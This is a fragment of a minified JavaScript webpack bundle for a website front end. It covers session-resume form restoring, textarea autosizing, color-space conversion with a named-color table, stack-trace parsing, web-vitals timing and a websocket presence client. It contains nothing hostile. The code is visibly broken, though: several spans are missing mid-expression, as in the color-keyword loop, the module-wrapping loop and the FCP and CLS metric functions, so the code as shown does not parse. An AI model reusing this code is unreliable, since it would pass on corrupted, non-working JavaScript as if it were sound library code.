n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 0)&&(R=T.value,P(T)))}},"c"),l=-1,u=i(function(){return document.visibilityState==="hidden"?0:1/0},"s"),a=i(function(){t(function(P){var T=P.timeStamp;l=T},!0)},"m"),s=i(function(){return l<0&&(l=u(),a(),n(function(){setTimeout(function(){l=u(),a()},0)})),{get firstHiddenTime(){return l}}},"v"),c=i(function(P,T){var A,R=s(),S=e("FCP"),F=i(function(H){H.name==="first-contentful-paint"&&(U&&U.disconnect(),H.startTime-1&&P(B)},"i"),S=e("CLS",0),F=0,D=[],U=i(function(B){if(!B.hadRecentInput){var re=D[0],G=D[D.length-1];F&&B.startTime-G.startTime<1e3&&B.startTime-re.startTime<5e3?(F+=B.value,D.push(B)):(F=B.value,D=[B]),F>S.value&&(S.value=F,S.entries=D,A())}},"v"),H=o("layout-shift",U);H&&(A=r(R,S,T),t(function(){H.takeRecords().map(U),A(!0)}),n(function(){F=0,d=-1,S=e("CLS",0),A=r(R,S,T)}))},"h"),g={passive:!0,capture:!0},w=new Date,x=i(function(P,T){b||(b=T,_=P,h=new Date,z(removeEventListener),I())},"g"),I=i(function(){if(_>=0&&_1e12?new Date:performance.now())-P.timeStamp;P.type=="pointerdown"?function(A,R){var S=i(function(){x(A,R),D()},"n"),F=i(function(){D()},"i"),D=i(function(){removeEventListener("pointerup",S,g),removeEventListener("pointercancel",F,g)},"r");addEventListener("pointerup",S,g),addEventListener("pointercancel",F,g)}(T,P):x(T,P)}},"S"),z=i(function(P){["mousedown","keydown","touchstart","pointerdown"].forEach(function(T){return P(T,$,g)})},"w"),X=i(function(P,T){var A,R=s(),S=e("FID"),F=i(function(U){U.startTimeperformance.now())return;A.entries=[R],P(A)}catch{}},"t"),document.readyState==="complete"?setTimeout(T,0):addEventListener("load",function(){return setTimeout(T,0)})},"P")},27907:(N,M,E)=>{"use strict";E.d(M,{a:()=>l});var b=E(81855),_=E(60835),h=E(16544),v=E(75658),e=E(80955),o=E(29871),t;(function(u){u.Deploy="Alive Redeploy",u.Reconnect="Alive Reconnect"})(t||(t={}));function n(){return`${Math.round(Math.random()*(Math.pow(2,31)-1))}_${Math.round(Date.now()/1e3)}`}i(n,"generatePresenceId");function r(u){const a=u.match(/\/u\/(\d+)\/ws/);return a?+a[1]:0}i(r,"getUserIdFromSocketUrl");class l{constructor(a,s,c,m){this.url=a,this.getUrl=s,this.inSharedWorker=c,this.notify=m,this.subscriptions=new v.v,this.state="online",this.retrying=null,this.connectionCount=0,this.presence=new b.k2,this.presenceMetadata=new _.a,this.intentionallyDisconnected=!1,this.lastCameOnline=0,this.userId=r(a),this.presenceId=n(),this.presenceKey=(0,b.Hw)(this.userId,this.presenceId),this.socket=this.connect()}subscribe(a){const s=this.subscriptions.add(...a);this.sendSubscribe(s);for(const c of a){const m=c.topic.name;!(0,b.A)(m)||this.notifyCachedPresence(c.subscriber,m)}}unsubscribe(a){const s=this.subscriptions.delete(...a);this.sendUnsubscribe(s)}unsubscribeAll(...a){const s=this.subscriptions.drain(...a);this.sendUnsubscribe(s);const c=this.presenceMetadata.removeSubscribers(a);this.sendPresenceMetadataUpdate(c)}requestPresence(a,s){for(const c of s)this.notifyCachedPresence(a,c)}notifyCachedPresence(a,s){const c=this.presence.getChannelItems(s);c.length!==0&&this.notifyPresenceChannel(s,c)}updatePresenceMetadata(a){const s=new Set;for(const c of a)this.presenceMetadata.setMetadata(c),s.add(c.channelName);this.sendPresenceMetadataUpdate(s)}sendPresenceMetadataUpdate(a){if(!a.size)return;const s=[];for(const c of a){const m=this.subscriptions.topic(c);m&&s.push(m)}this.sendSubscribe(s)}online(){var a;this.lastCameOnline=Date.now(),this.state="online",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.open()}offline(){var a;this.state="offline",(a=this.retrying)===null||a===void 0||a.abort(),this.socket.close()}shutdown(){this.inSharedWorker&&self.close()}get reconnectWindow(){const a=Date.now()-this.lastCameOnline<6e4;return this.connectionCount===0||this.intentionallyDisconnected||a?0:10*1e3}socketDidOpen(){this.intentionallyDisconnected=!1,this.connectionCount++,this.socket.url=this.getUrlWithPresenceId(),this.sendSubscribe(this.subscriptions.topics())}socketDidClose(a,s,c){if(this.redeployEarlyReconnectTimeout!==void 0&&clearTimeout(this.redeployEarlyReconnectTimeout),c==="Alive Reconnect")this.intentionallyDisconnected=!0;else if(c==="Alive Redeploy"){this.intentionallyDisconnected=!0;const d=(3+Math.random()*22)*60*1e3;this.redeployEarlyReconnectTimeout=setTimeout(()=>{this.intentionallyDisconnected=!0,this.socket.close(1e3,"Alive Redeploy Early Client Reconnect")},d)}}socketDidFinish(){this.state!=="offline"&&this.reconnect()}socketDidReceiveMessage(a,s){const c=JSON.parse(s);switch(c.e){case"ack":{this.handleAck(c);break}case"msg":{this.handleMessage(c);break}}}handleAck(a){for(const s of this.subscriptions.topics())s.offset=a.off}handleMessage(a){const s=a.ch,c=this.subscriptions.topic(s);if(!!c){if(c.offset=a.off,"e"in a.data){const m=this.presence.handleMessage(s,a.data);this.notifyPresenceChannel(s,m);return}a.data.wait||(a.data.wait=0),this.notify(this.subscriptions.subscribers(s),{channel:s,type:"message",data:a.data})}}notifyPresenceChannel(a,s){var c,m;const d=new Map;for(const p of s){const{userId:g,metadata:w,presenceKey:x}=p,I=d.get(g)||{userId:g,isOwnUser:g===this.userId,metadata:[]};if(x!==this.presenceKey){for(const $ of w){if(_.Z in $){I.isIdle!==!1&&(I.isIdle=Boolean($[_.Z]));continue}I.metadata.push($)}d.set(g,I)}}for(const p of this.subscriptions.subscribers(a)){const g=this.userId,w=Array.from(d.values()).filter($=>$.userId!==g),x=(m=(c=d.get(this.userId))===null||c===void 0?void 0:c.metadata)!==null&&m!==void 0?m:[],I=this.presenceMetadata.getChannelMetadata(a,{subscriber:p,markAllAsLocal:!this.inSharedWorker});this.notify([p],{channel:a,type:"presence",data:[{userId:g,isOwnUser:!0,metadata:[...x,...I]},...w]})}}async reconnect(){if(!this.retrying)try{this.retrying=new AbortController;const a=await(0,o.X)(this.getUrl,1/0,6e4,this.retrying.signal);a?(this.url=a,this.socket=this.connect()):this.shutdown()}catch(a){if(a.name!=="AbortError")throw a}finally{this.retrying=null}}getUrlWithPresenceId(){const a=new URL(this.url,self.location.origin);return a.searchParams.set("shared",this.inSharedWorker.toString()),a.searchParams.set("p",`${this.presenceId}.${this.connectionCount}`),a.toString()}connect(){const a=new h.Oo(this.getUrlWithPresenceId(),this,{timeout:4e3,attempts:7});return a.open(),a}sendSubscribe(a){const s=Array.from(a);for(const c of(0,e.o)(s,25)){const m={};for(const d of c)(0,b.A)(d.name)?m[d.signed]=JSON.stringify(this.presenceMetadata.getChannelMetadata(d.name)):m[d.signed]=d.offset;this.socket.send(JSON.stringify({subscribe:m}))}}sendUnsubscribe(a){const s=Array.from(a,c=>c.signed);for(const c of(0,e.o)(s,25))this.socket.send(JSON.stringify({unsubscribe:c}));for(const c of a)(0,b.A)(c.name)&&this.presence.clearChannel(c.name)}}i(l,"AliveSession")},29871:(N,M,E)=>{"use strict";E.d(M,{X:()=>v});function b(e){return new Promise((o,t)=>{const n=new Error("aborted");n.name="AbortError",e.aborted?t(n):e.addEventListener("abort",()=>t(n))})}i(b,"whenAborted");async function _(e,o){let t;const n=new Promise(r=>{t=self.setTimeout(r,e)});if(!o)return n;try{await Promise.race([n,b(o)])}catch(r){throw self.clearTimeout(t),r}}i(_,"wait");function h(e){return Math.floor(Math.random()*Math.floor(e))}i(h,"rand");async function v(e,o,t=1/0,n){const r=n?b(n):null;for(let l=0;l{"use strict";E.d(M,{A:()=>h.A,ZE:()=>_.Z,Zf:()=>e.Z,a2:()=>b.a,ah:()=>_.a,vk:()=>v.v});var 